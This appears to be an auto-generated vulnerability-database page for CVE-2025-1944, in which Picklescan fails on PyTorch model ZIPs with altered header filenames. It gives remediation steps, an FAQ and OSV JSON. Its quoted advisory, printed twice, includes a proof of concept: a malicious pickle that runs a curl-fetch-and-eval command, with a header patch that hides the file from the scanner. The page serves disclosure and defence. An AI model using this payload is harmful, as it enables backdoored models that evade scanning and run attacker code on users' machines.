CVE-2025-1944: Picklescan Zip Exploit Crashes Picklescan But Vulnerability

MODERATE
Advisory Identifier: GHSA-7q5r-7gvp-wc82
CVSS 6.5
CWE-345
Published
Advisory Summary

CVE-2025-1944 is a MODERATE (CVSS 6.5) zip exploit crashes picklescan but vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting Picklescan libraries in the PyPI ecosystem. The issue involves zip exploit crashes picklescan but not pytorch. Remediation is available by upgrading affected packages to version 0.0.23.

CVE-2025-1944 at a Glance

CVE Identifier CVE-2025-1944
GHSA Identifier GHSA-7q5r-7gvp-wc82
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-345: Insufficient Verification of Data Authenticity
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2025-1944

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 0.0.23
pip install picklescan>=0.0.23
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-1944, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.23), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection. ### Details Python's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation. PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive. ### PoC ``` import os import torch class RemoteCodeExecution: def __reduce__(self): return os.system, (f"eval \"$(curl -s http://localhost:8080)\"",) model = RemoteCodeExecution() file = "does_not_scan_but_opens_in_torch.pth" torch.save(model, file) # modify the header to cause the zip file to raise execution in picklescan with open(file, "rb") as f: data = f.read() # Replace only the first occurrence of "data.pkl" with "datap.kl" modified_data = data.replace(b"data.pkl", b"datap.kl", 1) # Write back the modified content with open(file, "wb") as f: f.write(modified_data) # Load the infected model torch.load(file) ``` ### Impact Severity: `High` - Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models. - What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them. - Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face. ### Recommendations - Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright. - Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.

CVE-2025-1944 Affected Picklescan Versions

1 component(s)
Fixed Versions:
0.0.23
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
PyPI
< 0.0.23
0.0.23

References

Frequently Asked Questions

What is CVE-2025-1944?
CVE-2025-1944 is a security vulnerability in Picklescan involving Zip Exploit Crashes Picklescan But Not PyTorch under CWE-345: Insufficient Verification of Data Authenticity.
Which Picklescan versions are affected?
Affected versions include releases prior to 0.0.23 across affected packages: picklescan.
What version fixes CVE-2025-1944?
Upgrading to 0.0.23 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 0.0.23. Upgrade your dependency to 0.0.23 or later.
What is the CVSS score of CVE-2025-1944?
CVE-2025-1944 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L.
What CWE is associated with CVE-2025-1944?
CVE-2025-1944 is classified under CWE-345: Insufficient Verification of Data Authenticity (The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.).
How can I check PyPI dependencies for CVE-2025-1944?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7q5r-7gvp-wc82",
  "modified" : "2025-04-09T20:13:35Z",
  "published" : "2025-03-10T18:26:44Z",
  "aliases" : [ "CVE-2025-1944" ],
  "summary" : "Zip Exploit Crashes Picklescan But Not PyTorch ",
  "details" : "### Summary\n\nPickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.\n\n### Details\n\nPython's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.\n\nPyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.\n\n### PoC\n```\nimport os\nimport torch\n\nclass RemoteCodeExecution:\n    def __reduce__(self):\n        return os.system, (f\"eval \\\"$(curl -s http://localhost:8080)\\\"\",)\n\n\nmodel = RemoteCodeExecution()\nfile = \"does_not_scan_but_opens_in_torch.pth\"\ntorch.save(model, file)\n\n# modify the header to cause the zip file to raise execution in picklescan\nwith open(file, \"rb\") as f:\n    data = f.read()\n\n# Replace only the first occurrence of \"data.pkl\" with \"datap.kl\"\nmodified_data = data.replace(b\"data.pkl\", b\"datap.kl\", 1)\n\n# Write back the modified content\nwith open(file, \"wb\") as f:\n    f.write(modified_data)\n\n# Load the infected model\ntorch.load(file)  \n```\n\n### Impact\n\nSeverity: `High`\n\n- Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.\n\n- What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.\n\n- Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.\n\n### Recommendations\n\n- Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.\n\n- Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.23"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-1944"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-20.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-03-10T18:26:44Z",
    "nvd_published_at" : null
  }
}